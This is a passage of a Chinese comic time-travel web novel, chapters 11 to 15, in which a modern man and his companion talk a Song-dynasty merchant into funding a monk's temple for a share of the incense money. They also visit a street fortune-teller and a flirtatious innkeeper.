“对不起!痛不痛?”邵阳春问道。 “没事,不痛!”姜媚儿回应。 “我靠!光天化日的,这是什么情况?”李小谦使劲压着嗓子,一脸淫邪地看着邵丑。邵丑则是一脸无奈的表情,好像在说:“我也没有办法啊。” “行,就这个尺码了。我比着它再给你做两双靴子。” 邵丑还没有说话,屋子里再次飘出姜媚儿的声音。我们三人同时释然,尴尬的对视了几眼。从他们的眼神中,我看到了和我内心中一样的失望。 男人的本性,总是在淫邪的事物面前暴露得没有一丝遮掩! “咳咳!”邵丑使劲清了清嗓子,意在提醒屋内的两人,外面有人。 “什么人?”邵阳春果然询问。 邵丑慌忙回应:“老爷,李公子和姬公子奉了圆通大师之命前来拜见。” “什么?!”邵阳春惊诧之中有些慌乱:“他们怎么找到这里来的?!” 显然,邵阳春并不知道我们已经站在屋外,并且已经听到了刚才那段让人误解的对话。 邵丑向我们打了一个手势,意思是不要让我们说话,然后喊道:“小的也不知道,两位公子已经在内院了。” 说完,邵丑压低嗓音,悄声对我们说:“不要说是我带你们来的!” 我点了点头,李小谦则不屑的看了邵丑一样,神情中略带鄙夷。 “吱呀”一声,正房的门打开了,邵阳春衣着光鲜地出现在我们面前。我目光刻意下扫,看了一眼邵阳春脚上崭新的靴子,心中又是一阵失落。抬起头来,只见邵阳春盈盈笑着的脸上一道冷锐的目光扫过邵丑,稍纵即逝。 邵阳春一边向我们走来,一边笑盈盈的拱手:“二位贵客光临寒舍,有失远迎,还请见谅!” 李小谦冷哼一声,说:“邵老板,你这寒舍可真是够寒的。” 邵阳春“咳咳”两声,尴尬一笑,说:“见笑了,见笑了。” 这时,姜媚儿从正屋房门中走了出来,依旧是那副让人忍不住要多看两眼的娇美容颜。清风一过,撩动她温柔的长发,看起来更加楚楚动人,让人心里忍不住地发痒。 姜媚儿见我看她,向我还以微微一笑,我顿时感到一点微醺之意。 都说美酒醉人,其实醉人的不止美酒,还有美人。 姜媚儿站在正房门口,向我们一一行礼,也不说话,颔首向偏房走去。 我看着姜媚儿远去的背影,她浅紫色的轻纱衣裳,隐约露出内衣的纹路,让人忍不住想过去撩开,一探究竟。 无论什么时候,无论人的内心里藏了怎么样邪恶的想法,都不能说出来,也不能那么去做。所以,只能忍耐,即便是忍耐的心躁动得不能自已,却也仍要忍耐。 不知不觉间,我已目送着姜媚儿的背影消失在回廊尽头的角落。 “邵丑!带两位贵客去堂内奉茶!” 邵阳春一声喊,像是有力的爪子,将我内心的痒挠去了许多,我回头看了一眼邵阳春,他面色略带不悦,显然是对我直勾勾盯着他夫人的行径颇为介意。 邵阳春没有再说什么,兀自转身离去。临转身之前,我见他饱含怒意的眼神射向李小谦。 我顺着邵阳春的眼神看去,只见李小谦仍旧直勾勾盯着姜媚儿背影消失的那个角落,怔怔地发呆。 第一卷 最后一个武林盟主 第十一章 合作 走进邵阳春家的客堂,我首先闻到一股极为优雅的香气,说不上是什么香料,却让我方才因姜媚儿躁动起来的心,稍稍得到些安定。 莫非这就是传说中的安神香吗? 虽然是在内院中设置,但邵阳春家的堂屋还是十分气派的。桌椅板凳都是一码崭新的红木,堂中墙壁上挂着一副画,暗黄的丝绢布上画了一团乌漆墨黑的东西,仔细看起来,有山有水又有树,猛搭一眼上去就像一张黄纸上糊了一团泥巴,一塌糊涂。 我本就是个俗人,看不懂高雅之物。但李小谦却不同了,他直勾勾地盯着墙上的那副画,两眼放光,那神情比看到衣衫朦胧的姜媚儿还要激动。 李小谦说:“看来,邵老爷的家境并不像看起来那样寒酸啊!” 邵阳春咦了一声,说:“何以见得?” 李小谦说:“如果我没有看错的话,这副画乃是李唐的真迹,万壑松风图吧。依照现在李唐先生的名气,这画起码值个几千两银子。邵老爷能将这样的名画挂在堂中作摆设,只怕是家中对这类的宝物并不稀缺吧。” 李小谦的一番话大大满足了邵阳春的虚荣心,他呵呵一笑,脸上露出一些志得意满的神情,说:“李公子小小年纪,竟然见闻如此博广。这样一幅不曾现世的万壑松风图,竟然能够一眼看出是李唐的真迹,佩服,佩服!” 李小谦嘟囔了一句:“废话,老子九百年后的卧室里就挂了一副赝品,当然认得!” 邵阳春没有听见,在正堂主座坐下,向我们摆了摆手,示意我们也坐。这时候,邵丑端了三盏茶分别放在我们面前。当他把茶杯放在我面前时,故意背对着邵阳春,对着我一番挤眉弄眼,神情颇为着急。 很可惜,我没有明白他什么意思,于是向他送去一个疑惑不解的眼神。 邵丑更加着急了,他唇齿微动,却不出声,向我说着什么,我仍然没有看懂。 邵丑急了,瞪大眼镜,一字一字地向我说,仍不出声。 我忍无可忍,问:“你到底要说什么?” 邵丑脸色突变,立时低下头去,逃也似地离开了。 邵阳春并没有在意,一脸不咸不淡的表情,端起茶盏,轻轻抿了一口,说:“两位到我府上来,不知有何指教啊?” “借钱!” 李小谦竟然毫不客气地、恬不知耻地说了这么两个字。 此时,邵阳春正端着茶盏抿了第二口茶水,他不咸不淡的表情瞬间凝固了,随即脸上的肌肉绷紧,嘴巴嘬成了一个咎,好像茶水中突然放了盐一般。于是,不咸不淡的表情变得咸了起来。 “借钱?”邵阳春仿佛没有听清楚,问,“你要找我借钱?” “不错。”李小谦依旧非常的坦然,又经过一番思量,他补充了一句,说,“准确的说,是来找你谈合作的!” 邵阳春又恢复了那副不咸不淡的表情,他将手中的茶盏轻轻放在桌上,说:“你要找我谈什么合作?” 李小谦说:“圆通大师要在雷峰塔对面盖一座寺庙,但是他没有钱。” 邵阳春笑着说:“李公子真会开玩笑,不瞒你说,前些年因为战乱,我家道中落,更是欠下了上万两的银子。如今,哪里还有钱捐建寺庙?” “不是要你捐!”李小谦说,“是投资入股。” 邵阳春疑惑不解,问:“何为投资入股?” 李小谦说:“你出钱修个寺庙,收来的香火钱分你三成!”说完,他向邵阳春挑了挑眉毛,露出了狡黠的笑容。 邵阳春霎时间傻了眼,我也愣住了。 还可以这么干?! 他这是要掏佛祖家的香灰啊! 邵阳春连连摆手,说:“寺庙的香火钱都是孝敬佛祖的,怎能任意瓜分呢?!” 李小谦说:“邵老爷此言差矣。” 邵阳春问:“差在哪里?” 李小谦说:“这不叫瓜分。你投资兴建寺庙,为佛祖开门立派、普度众生,佛祖把香火钱分你一些,这是对你的回馈。” 这样惊世骇俗的言论被李小谦说得冠冕堂皇,恐怕不只是我和邵阳春,我想就算是放眼整个天下也是闻所未闻之事。 历来兴建寺庙,富商捐钱的比比皆是,但还没见过有谁还能分佛祖的香火钱的? 我想,李小谦肯定是疯了。 如果圆通和尚知道了李小谦这样给他拉赞助,恐怕不只要点他的穴道,还会出手将他暴打一顿。 如此一来,李小谦三番两次羞辱我的仇终于得报,岂不是痛快! 我心中暗喜,决定冷眼旁观,让这个自称是来自九百年以后的妖怪好好学习一下九百年前的规矩。 邵阳春陷入了沉思,仿佛对李小谦的提议颇有些心动。 毕竟他欠了人家一万两银子。即便是掏了佛祖家的香灰,也不失是一个生财之道。 许久,邵阳春都没有说一句话。 李小谦站了起来,说:“时辰不早了,我就不打扰了。邵老爷好好考虑一下我的提议,如果你想通了,随时可以去雷峰塔对面找我们。”说罢,他转身冲我使了一个眼色,大概意思是说“我们走”。 我也向李小谦回了一个眼色。意思是,就这么完了? 李小谦还来得及回答,却不知道邵丑在什么时候已经走进了客堂,他就站在门口离我们不远的地方,轻咳了两声,说:“你俩的眼睛怎么了?” 他这分明就是报复! 我与李小谦眉来眼去的小动作被邵丑公然戳破,让我感到非常尴尬,有种大庭广众被人扒光了衣服的感觉。然而邵丑却依旧不依不饶,走过来敲了敲我的眼睛,说:“我看也没事啊。你挤什么?” 一股怒火涌上心头。 杀人不过头点地,他实在太过分了,当众扒了我的衣服不算,竟然还要调侃我的屁股! 是可忍孰不可忍! 我下意识攥紧了拳头,准备好好教训一下这个没完没了的臭小子。 刚想挥拳,却被李小谦一把按住了。他眼珠向邵阳春的方向一瞥,我顺着他的眼神看过去,只见邵阳春正呆呆地坐在椅子上,左手掰着右手的手指,嘴里低声呢喃着,不知道说些什么,完全没有在意我、李小谦与邵丑之间发生了什么。 李小谦嘿嘿一笑,向着邵阳春说:“告辞!”说罢,他胳膊猛地一用力,我随之一个踉跄,被他大力拽着向门外走去。 “且慢!” 我和李小谦刚刚迈出客堂两步,只听到屋内一声喝止,我俩几乎同时回头,只见邵阳春大步流星地走了出来。 “呃......” 邵阳春站在我们面前,发出一丝迟疑的声音,随即伸出了四根手指头,说:“四成!” 我顿时有种天崩地裂的感觉。邵阳春的一声“四成”犹如五雷轰顶击在我的头上。 这年头,什么钱都敢赚! 从前,在雁荡山做土匪时,即便是山上最十恶不赦的山贼,也从来不敢觊觎与我们仅一山之隔的云雾寺。佛祖的神威,无论在何时都是一种不可亵渎的神圣力量,越是作恶,越不敢靠近。 然而,邵阳春胆大包天,却打起了佛祖的主意。不仅如此,他竟然还要讨价还价。 李小谦笑着摇了摇头,伸出手将邵阳春肥硕的小拇指按了下去,说:“佛祖这里是一口价,谢绝讨价还价!”说罢,扭头就要走。 “好,好,好!三成就三成!” 邵阳春见李小谦态度坚决,只好作罢,但语气中仍有许多不甘。 李小谦说:“那邵老爷可以出多少银子?” 邵阳春竖着的三根手指头又落下一根,说:“两千两!” 李小谦则伸出手去将邵阳春刚刚落下的那个手指又掰了起来,说:“三千两!” 邵阳春面露难色,说:“这么多钱,我拿不出来啊!” 李小谦又笑了,说:“邵老爷说笑了,你家中定然还有许多宝物。三千两对您来说,并非难事。这三成的香火钱,源远流长,今后给你的带来的收益绝对不止三千两!你好好想想吧!” 邵阳春无奈地摇了摇头,说:“好吧!三千便三千,三日之后我会命人送到雷峰塔对面,亲自交给圆通大师。至于这千照.....” 李小谦“哦”了一声,说:“你说这合同啊,我已经拟好了,五日之后便可签字画押!” “合同?” 李小谦再次说出了一个我完全听不懂的词语。我看邵阳春也是一脸懵,便替他问了:“什么是合同?” 李小谦露出不耐烦的表情,说:“就是和尚同意了!” 可是,和尚没有同意啊! 李小谦似乎知道我接下来要问什么一样,我尚未开口,只是嘴唇微微动了动,他一只大手伸过来就把我的嘴捂得严严实实,笑着对邵阳春说:“我们先告辞了!合作愉快哦,亲!” 就这样,我被李小谦如绑架一般地拉出了邵阳春家。 留下了一脸茫然的邵阳春,嘴里不停地嘟囔着:“合同?和尚同意了?和同......” 第一卷 最后一个武林盟主 第十二章 卜卦 我和李小谦离开了邵阳春家。 又一次穿过那片人间地狱一般的小巷,看着一幕幕生死离别在我们面前生动地演绎。 我的心再次揪了一下。 从富裕走向贫穷,让我的心中蒙上了一层阴翳。再从贫穷走向富裕时,却完全没有拨云见日的痛快之感。 再次目睹,让沉重的心情,更加沉重。 我自问不是悲天悯人的性格,却绝然也不是心如铁石的人。或许,马维进当初正是看透了这一点,才不愿让我加入抢劫队。 我甚感郁闷,无心再与李小谦计较方才被他强拽出邵阳春家的事。 反正,自相识以来,我对李小谦的仇恨已不是打他一顿便可抵消的。 至少要打两顿! 李小谦踏着轻快的步子,嘴上哼着奇怪的调子:“太阳当空照,花儿对我笑,小鸟说,早早早,你为什么背上炸药包,我要炸学校,老师不知道,一拉线我就跑,回头一看学校不见了......” 我完全听不懂他在唱什么,但这歌词朗朗却郎朗伤口,调子婉转动听动听,颇有异域风韵。 我听得愈发专注,不知不觉间心情畅快起来,不自觉得跟着他哼唱。 “铁卜神算,能断天命,算不准,不要钱......” 突然,一声吆喝在我耳边响起。 我和李小谦几乎同时驻足,向左看去。 只见侧身一丈远的地方,摆着一个方桌,桌上搭着一块淡黄色的麻布,麻布之上画着一个八卦,周边写着许多小字,除了“甲乙丙丁”其余的我一个都不认识。 一个身穿黄袍的道士向我们招手,他嘴上的两撇小胡子随着他开口说话,在他鼻子下一齐舞动起来:“二位居士,来算一卦啊,算不准不收钱!” 李小谦仿佛来了兴致,大摇大摆地走了过去,在他桌前坐下,与黄袍道士四目相对,问:“你说的是真的吗?” 黄袍道士一拍胸脯,一副自信满满的样子,说:“自然是真的,贫道我上知天文下知地理,能知过往能看将来,江湖人称铁卜神算,我......” 他一段自吹自擂还没说完,李小谦不耐烦地摆手打断,说:“行行行,我问的是后半句。” 黄袍道士一脸不解地看着李小谦,问:“哪句?” 李小谦提醒道:“你说,算不准不要钱?” 黄袍道士晃了晃身子,又一拍胸脯,说:“不错,江湖上的人既然称贫道为铁卜神算,贫道自然有信心......” “唉,唉,唉......”李小谦又将黄袍道人打断,说,“你算吧,我看你说得准不准!” 黄袍道士自亮招牌的话被李小谦打断了两次,表情中露出一丝不悦。但,好不容易来了生意,却又不能轻易放过,只得忍气吞声,问:“这位居士,是测字还是相面?” 李小谦说:“测字!”说罢,他拿起纸笔,沉吟片刻,忽然脸上露出一丝坏笑,手起笔落,飞快地划了几道,放下笔,把纸往黄袍道人面前一推,说:“你测吧!” 黄袍道士拿过纸张一看,两条浓眉登时挤到了一起,仿佛是看到天书一般,双目中充满了疑惑。他手中捧着那张纸,左右端详了半晌,问:“此为何字?” 我顿时感到无比的惊讶和好奇。 这世道怎么了?当街算命的道士竟然也如我一样不识字? 我侧身过去,向黄袍道士手中的纸上一看,只见李小谦画了两个极为怪异的图案,一个如同弯曲爬行的蛇,另一个却是两个半圆,一大一小,上下排列在一起。我凝视着纸上的两个怪异的图案,陷入了沉思。虽然我不识几个字,但平生见过的字总也是不少。然而,李小谦所画的这两个半圆,其写法远远已超出了我对所有文字的认知。 李小谦笑了笑,他先用手指了指那个弯曲的蛇,说:“这个,念唉嘶!”然后,又用手指了指那两个半圆,说:“这个,念必” “唉嘶必?” 黄袍道士一怔,眉头锁得更紧了,两只眼睛直勾勾盯着纸上画的两个图案,喃喃道:“唉嘶必?唉嘶必?何为唉嘶必?没听过啊!” 李小谦憋着笑,说:“唉嘶必!就是唉嘶必的意思喽!” 黄袍道士问:“何为唉嘶必?” 李小谦实在忍不住了,哈哈笑了起来,说:“你,你就是个唉嘶必!” 黄袍道士还想问,李小谦却摆了摆手,说:“罢了罢了,跟你这种傻(脱敏)b也解释不清楚。来!给我相个面吧!” 黄袍道士如释重负。但目光时不时地窥向桌上的白纸,似乎对个他完全不能理解的唉嘶必两字十分介怀。 黄袍道士笑吟吟地看着李小谦的脸,仿佛是在审视一个造型别致的器具。 “哎呀!” 忽然,黄袍道士惊叫一声,把我吓得猛然抖了一个激灵。 我以为,他发现了李小谦命中的劫数,正满心期盼着他细细讲来,没想到这黄袍道士开口便夸:“这位居士天庭饱满地阁方圆,乃是天人之相,定然是从遥远之处而来,不是凡间之人啊!”他一只手向上指着天。 “这......”李小谦拉了个长音,说,“也算你猜对了吧,我确实不是和你们一个地方来的。” 黄袍道士微微一喜,继续说道:“居士前额圆润饱满,双眼囧囧有神,唇红而齿白,乃是智慧之人啊!” 李小谦连连点头,说:“我知道的确实比你们多!” 黄袍道士自信满满,又说:“居士鼻准圆,两颧丰,眉中有长毫,双耳阔宽,一看便是忠厚良善的好人啊!” “嗯?!” 李小谦脸色突变,腾地站了起来,嘴里发出“切”的一声,说:“算得不准!”说罢,扬长而去。 目睹风云突变的我怔怔地站在原地,不知到底发生了什么。我回头看了一眼那黄袍道人,他也是傻愣地坐在方桌前,一副茫然失措的表情。显然李小谦态度的陡然转变实属他始料未及。 黄袍道人看着我,小心翼翼地问:“贫道那句话说得不妥?” 我摇了摇头,说:“我不知道。” 黄袍道士的目光再度落到桌上的那张白纸上,他怔怔凝望着那两个图案,甚是出神,口中喃喃有声:“唉嘶必?有何深意?” 我无奈地叹息,正要相劝,忽听得远方“喂”的一声,循声望去,只见很远处,李小谦正拧着身子向我挥手,见他身影渐远,我顾不得黄袍道人的茫然,快步追了上去。 我问:“那黄袍道人哪里说得不对吗?” 李小谦笑了笑说:“没有,我就是想拿他找个乐子。” 我恍然大悟,说:“我懂了,他有一句说得不对。” 李小谦问:“哪一句?” 我说:“最后一句!” 第一卷 最后一个武林盟主 第十三章 五成 阳光明媚,碧空如洗。 临安城内主街道上一片安定有序的景象。 我和李小谦回到雷峰塔对面的小山上,远远望去,只见圆通正坐在一处石头上发呆。他双腿盘起,正襟危坐,纹丝不动,仿佛是被点穴一般。 当然,以圆通的武功,没有人可以轻易点了他的穴道。 我问李小谦:“他在干什么?” 李小谦说:“大师在思考。” 我问:“思考什么?” 李小谦望着圆通的背影,意味深长地说:“人生!” 我怔怔地看着圆通思考人生的背影,我仿佛看到了他充满悔恨的一生正在如风一般地略过他的头脑,在他似是万年平静的脑海中掀动波澜。 一阵风吹来,圆通黄色的僧袍微微一晃,又一只飞鸟略过他的头顶,一团黄褐色的东西从天而降,不偏不倚地落在他佛光闪烁的头顶之上。 鸟粪! 我大惊。心想,圆通的人生上落下了一个污点。 然而,圆通不为所动。仍然稳若磐石地端坐着石头上,仿佛真的被点了穴道一般。 当我们渐行渐近,鼾声骤起。 原来,圆通是在睡觉。 我白了李小谦一眼,他冲我尴尬地笑了笑。 李小谦缓步走上前去,轻声试探:“大师,我们回来了。” 鼾声骤停,圆通却岿然不动,除了嘴巴。他问:“如何?” 李小谦说:“呃......这事说来有些复杂。” 圆通没有说话,平淡如水的脸上略过一丝失落。 李小谦说:“邵阳春同意出资三千两,修建寺院。” 圆通的双眼登时睁开,目光之中难掩激动,说:“三千两?!” 李小谦说:“不错。只不过......” 圆通问:“如何?” 李小谦看了我一眼,说:“大师,请借一步说话。” 圆通也看了我一眼,点了点头,缓缓站起身来。他们两人向着一旁走去。我也跟着他们走了过去。 可是,我刚迈出一步,就被李小谦一只手推了回来,说:“啊......那个......旦丙啊!” 一种想要杀人的冲动涌上心头,让我不由自主地攥起来拳头。然而,当我瞥眼看向圆通时,他一副面无表情的模样,又让我不敢轻举妄动。 一个高手最令人害怕的,往往不是他出手之时。而是,你不知道他会不会出手。 李小谦说:“我和大师有重要的事商量,你等我们一下。” 有什么事不能让我听?! 我很不服气,就这样被堂而皇之地边缘化,让我内心遭受了沉重的打击。我以为,这一路走来,我陪着他俩东奔西跑,即便是没有明言,但在实质上总也算是一个团伙了。 更重要的是,李小谦的神秘触发了我的好奇心。趁着他俩不注意,我悄悄靠近,躲在一株灌木之下偷听。 李小谦说:“大师,邵阳春同意出资三千两帮您修个寺庙,但是他有一个条件。” 圆通问:“什么条件?” 李小谦说:“他要拿五成的香火钱。” “什么?!” 圆通的语气中充满了惊讶,同时又带着极大地愤怒。不知道是因为邵阳春对佛祖的不敬,还是因为这五成的香火钱。 不对! 我突然惊觉! 五成?! 李小谦说邵阳春要拿五成的香火钱?! 可是,我分明记得是三成! 终于,上天赐给我,不,是李小谦亲自赐给我一个报仇雪恨的好机会。 我腾地一下站了起来。李小谦和圆通几乎同时回过头来。圆通犯了嗔戒,满脸都是愤怒。李小谦则一副惊慌失措的模样,他万万没有想到我会躲到灌木丛中偷听他们讲话。 李小谦慌忙走过来,一把搂住我的肩膀,低声说:“别说,别说,咱俩商量商量。” 我故意提大嗓门,说:“不行!” 李小谦显得更加慌乱了,我顿时有种大仇得报的畅快之感。即便是他的奸计还没有彻底败露,但看着他诚惶诚恐的样子,已让我久久压抑的内心感到了前所未有的畅快。 李小谦回头回圆通说:“大师放心,我给旦丙聊两句!” 说罢,他一连推搡着我走出去数丈之远。见已然超出圆通的听力范围,才小声对我说:“你向怎么样?” 我得意洋洋地说:“我要向大师揭露你的奸计!” 李小谦说:“这样对你有什么好处?” 我说:“你三番两次羞辱我,我要报仇!” 李小谦说:“你报这种仇有什么意义?大师最多把我撵走,然后再把你也撵走。我倒是无所谓,随时可以回柳湖书院。你呢?” 我哑口无言。说真的,我没有想到过这些。 我问:“你什么意思?” 李小谦摆出一副奸商特有架势,说:“唉......你只要不说破。那五成的香火钱,我分你一成!” 拿佛祖的钱? 我有些犹豫。 但想到邵阳春和李小谦,我忐忑不安的心顿时安定下来。即便是天打雷劈,也有他们两个顶着。 我学着邵阳春的样子,深处两根手指,说:“两成!” “尼玛!”李小谦气急败坏地说:“你拿两成,老子还挣什么?!” 这时我才发觉,我和李小谦根本没有讨价还价的空间。 我站在原地怔怔发呆,李小谦以为我仍在忧郁,便问:“你还有什么条件吗?” 我说:“有!” 李小谦再次露出不耐烦的表情,说:“有什么条件全说出来!” 我伸出一根手指,说:“我还有一个条件,你必须答应我。” 李小谦,说:“快说,快说!时间久了,圆通要怀疑了。” 我问:“你告诉我,唉嘶必是什么意思?” 李小谦一怔,他肯定没有想到我会突然有此一问,他神情急躁,看了圆通一眼:“以后再说!”说罢,便拉着我向圆通走去。 当我们回到圆通身边时,圆通正倒背着手来回踱步,他一扫往日安定平和的神态,愤怒布满了他脸上的每一寸皮肤,看起来有些狰狞。 “岂有此理,岂有此理.....” 圆通口中常说的“阿弥陀佛”也变了词汇。 李小谦说:“大师,我已经和姬兄弟谈妥了,他不会将此事说出去。”他向我使了一个眼神,我心领神会,慌忙说:“我不说。” 圆通并没有理会我们,依旧在方寸之间徘徊。突然,他止步,大喝一声:“罪过啊!罪过!”语气极为悲愤。 李小谦说:“莫虑俗物损梵行,五成香火是人情。世间安得双全法,不负如来不负卿?” 我只听懂了一句,“五成香火是人情”。圆通定然是全听懂了,他在原地呆呆的站了半晌,忽然大彻大悟,双手合十,念道:“阿弥陀佛,善哉善哉!” 这次,我清晰地看到,圆通点了点头。 第一卷 最后一个武林盟主 第十四章 娄琴 我和李小谦并肩走着临安府的康庄大道上。我开始想象,在不久的将来,那一成的香火钱将彻底改变我居无定所的生活。到那时候,我会得到很多银子,在临安府买上一座宅子,娶上一个漂亮的女子,再生一个孩子...... 前途如此光明! 又一日,气朗风清。 我和李小谦从临安府的一间客栈中走了出来。 这间客栈名叫“娄琴客栈”。店老板是一个风情万种的中年女子,莫约有二十七八岁,皮肤却保养得如水一般晶莹透亮,仿佛是一个生长在豆蔻年华的小姑娘。 昨夜傍晚时分,娄琴客栈金灿灿的牌匾下,搔首弄姿的店老板肩头披着一件火红的轻纱站在客栈的门口,慵懒地斜倚着门框,粉色的衣裳裹着丰满胸部喷薄欲出,像极了李小谦写得那个“b”字。 我们经过时,只因在人群中多看了她一眼,她便风骚地向我们抛出一个勾人心弦的媚眼。我春心荡漾,而李小谦则似丢魂似地飘到她的跟前。 李小谦问:“美女,还有房间吗?” 店老板的声音娇媚得比她的媚眼还要勾人,她说:“有的。楼上请啊。” 李小谦一脸渴望,我带着满满的憧憬,一同走进了客栈。本以为里面是一片姹紫嫣红的人间佳境。当我们走进去之后才发现,这真的是一间很纯粹的客栈。除了风情万种的娄琴,我们再也没有见到一个女人。 李小谦问:“美女,怎么称呼啊?”他说话间表情极为轻挑,像极了寻花问柳的登徒浪子。 店老板亲自端了两碟小菜和一壶热水放到我们面前,说:“小女子本家姓娄,单名一个琴。” 我突然觉得这个名字特别的熟悉,仿佛在哪里听到过。一番冥思苦想之后,幡然醒悟,这家客栈不就是叫娄琴客栈吗? 李小谦双眼迷离地看着娄琴,说:“美女的思想真是前卫的很,用自己名字做招牌,还是挺时髦的。” 娄琴笑盈盈地说:“公子说话真是有趣,人家都没怎么听懂。” 我说:“他是九百年以后来的,说话很奇怪,不只是你,我也听不懂。” 娄琴忽然愣住了,眼睛瞪得又大又圆,用一种见到鬼一样眼神打量着李小谦。李小谦的脸上露出些许慌乱。 我暗中窃喜,心想,这次老子要好好把李小谦戏耍一番。 忽然,李小谦面色一变,冲着愈发惊恐的娄琴呵呵一笑。只见,他先指了指我,又指了指自己的头,然后摆了摆手。 娄琴脸上的惊恐骤然消散,樱红的唇张开,长长地“哦”了一声,然后向我投来同情的目光。 正在我疑惑不解之际。娄琴纤纤玉手摸了摸我的脸颊,说:“待会儿,姐姐给你做点好吃的。你想吃什么?” 滑如凝脂的肌肤和恰到好处的温柔,如春风拂过脸庞一般,让我心口的热血瞬间沸腾,我感觉热血涌入我的头颅,从脸到脖子,一阵火辣辣的热。 李小谦噗的一声笑了出来,一口热水喷了我一脸,我登时感觉清醒了许多,风一吹,脸颊甚感凉爽,然后一股恶臭不可避免的钻进了我的鼻孔。 李小谦的嘴真是臭不可闻! 娄琴也看到了我窘迫的模样,她笑吟吟地看着我,说:“这位小兄弟好生有趣,姐姐很是喜欢,不知小兄弟怎么称呼?” 为什么? 为什么所有的人都要问我的名字?! 为什么每个人与我相处不过几句话便要戳我的痛处?! “他叫姬旦丙!周武王的姬,旦夕的旦,甲乙丙的丙!” 我尚未开口,李小谦抢先说了出来。他总是乐此不疲地将我的名字介绍给别人。一开始,我还恨不得揍他一顿,可如今我已放弃了,麻木了。 娄琴笑着摇摇头,说:“两位客官真是有趣。不知想要吃些什么?夜间可是要在小店留宿?” 她是第一个听到我名字之后没有公然嘲笑的人。一个风骚的女人,一个让我铭记于心的女人。 李小谦连连点头,说:“吃的随便上点就行。你们这儿,有没有特殊服务?” “特殊服务?”娄琴不解地看着李小谦问道。 李小谦淫邪地一笑,凑到娄琴耳边,不知说了什么。娄琴吟吟带笑,说:“公子说笑了,我们这是客栈,不是青楼。如果你想找几个姑娘,我可以把你引荐到不远处的兰香阁。那里的妈妈是我多年的好友,绝对可以给公子挑两个俊俏的。” 李小谦连连摆手,尴尬一笑,说:“那不用了,我......呃......恐怕不便。” 我们两人随便点了几个小菜,要了几壶烧酒。一番推杯换盏之后,不胜酒力的我俩便醉倒在娄琴客栈的厅堂上。 第二天一早,我睁开惺忪的睡眼,发现自己躺在一张柔软的床榻上,青色的罗帐,整洁的屋子正中一张崭新的八仙桌。 我坐起身来,摇了摇昏昏发胀的脑袋,酒意未醒,似灌了铅一般的沉重。 掀开身上柔软的被子,窗外一阵凉风吹进来,我不禁打了一个冷颤。 这感觉......有些太过凉爽了吧。 我低下头看去......咦?我的衣服呢? 我腾地一声从床上蹦了下来,虽然四周无人,却仍旧是禁不住内心尴尬,拉起了床上的被子遮住自己赤裸的身体,而后努力寻找昨夜的记忆,它们被酒水冲得已经无影无踪,我根本记不起昨夜发生了些什么。 为什么我会一丝不挂地躺在一个陌生的房间里? 正在我百思不得其解之际,娄琴笑吟吟的模样出现在我的脑海之中。我心中猛然一抖,莫非,是娄琴......想起她吹弹可破的皮肤和那只温柔的芊芊玉手,我感到一阵火辣辣的热。 “吱呀”一声,房门被推开了。 李小谦啃着一个苹果出现在我的视野之中,仍旧是那一副玩世不恭的浪荡模样。 在圆通面前,他言行得体,一副谦谦君子的姿态。只要离开了圆通的视线,他便完全换成另外一幅嘴脸,真不明白他到底在伪装些什么。 “睡得怎么样啊?”李小谦问。 我反问:“我的衣服呢?” 李小谦说:“洗了。在后院晾着呢。” “洗了?”我疑惑地问:“为什么要要洗?” 李小谦说:“昨晚上喝多了,你吐了一身。娄琴派了个伙计把你衣服洗干净了。” 这个时候,娄琴的身影出现在门口,她穿了一身浅紫色的衣裳,虽然不如昨天傍晚初见她时那身穿着撩人,但那凸起的胸部依旧是高傲地挺立着,走一步,颤抖两下,让人禁不住要想要去探索一番。 “衣服给你放这里了。”娄琴笑吟吟地走了进来,将我的衣服放在桌上,丝毫没有顾忌一床棉被裹着的赤身裸体的我。临走时,还向我抛了一个勾魂的媚眼,一时没有忍住,我心头的热血再次涌向头颅。 就这样,我和李小谦在娄琴客栈美美地睡了一个晚上,却把圆通一个人抛在了荒山野岭之上。 好在圆通并没有在意。当我们回到那座山上时,圆通盘腿坐着一块平整的石头上,一动不动。 一瞬间,我感觉那块丑陋的石头仿佛成了佛祖座下的莲花台。清晨明媚的阳光,泛着金灿灿的色彩打在圆通那一抹雪亮的光头上,金光反射,犹如圣洁的佛光普照大地。 那一刻,我的一颗心仿佛被圆通感染了,我隐约预见到了不久后,圆通盘坐在崭新的庙堂之中,背后是金光闪闪的佛祖,面前是纷至沓来的信众。功德箱中满满的真金白银......其中就有我的一成。 想到这里,我感觉前途一片光明。 终于可以不用在过颠沛流离的日子了。 很快我就可以攥着大把的银子,在临安城买下一座宅子,娶上一个女子,再生一个孩子…… 这样的想象一直萦绕在我的脑海之中,每每想起,便激动地不能自已。 “呼,呼,呼……” 圆通的鼾声打断了我美好的憧憬。 那一刻,圆通神圣的光辉骤然消散,我真想在他佛光普照的秃顶上狠狠地抽一巴掌。想着想着,我竟下意识地向前迈了两步。 “你们回来了?” 或许是被我们的脚步声惊醒了,圆通淡淡地问了一句。 “呃......是啊!” 李小谦语气中满是歉意。毕竟我们两人昨夜被娄琴的美色所诱惑,抛弃了圆通,钻进了娄琴客栈。只留下可怜巴巴的圆通,在荒山上伴着星月,忍者饥饿。 想想就觉得可怜。不知圆通知道了昨晚之事,会怎么对待我们。 我心中难免有些忐忑。但很快我便发现,圆通并没有关心我们昨夜去了什么地方。 圆通缓缓站起身来,怔怔地看了李小谦半晌,问:“带吃的回来了吗?” 那一瞬间,我真的很想过去好好问一问圆通。 他到底是一个佛法精深的得道高僧,还是故作深沉的江湖骗子? 第一卷 最后一个武林盟主 第十五章 法海 圆通就像是一个谜。 这个谜一直诱惑着我,让我十分想要去探寻他过往。他出身少林,因为吃了方丈的狗而被逐出少林。但已经是建炎元年的事情了。那时的圆通不过是个十七八岁的少年和尚。 十六年。 当一个人九十岁的时候,十六年的光阴回忆起来,不过就是弹指一挥间的经过。但是,那个时候的我,也不过只有十六岁。 十六年太长了。它长得让人唏嘘,它足以发生一些事情,在人的心里留下永远都不可磨灭的印象,甚至是伤痛。 圆通离开少林之后的十六年到底发生了什么?他闭口不谈。问得紧一些,他便会一脸惆怅地仰天叹息,情到深处便跪在雷峰塔前,低声诵念。 圆通,真的就是一个谜。 初遇之时,他谈吐得当,做派如得道高僧,让人肃然起敬;雷峰塔前那一跪,他满目悲伤,情真意切,让人动容;但有时,他却又张口闭口都是俗物,打坐都能睡着...... 看似平淡无波澜的表情下,隐藏了一颗多变的内心,让人捉摸不透。 就像一锅没有解开盖子的美食,永远都会引着别人吞咽贪婪的唾沫,跃跃欲试地想要探个究竟。 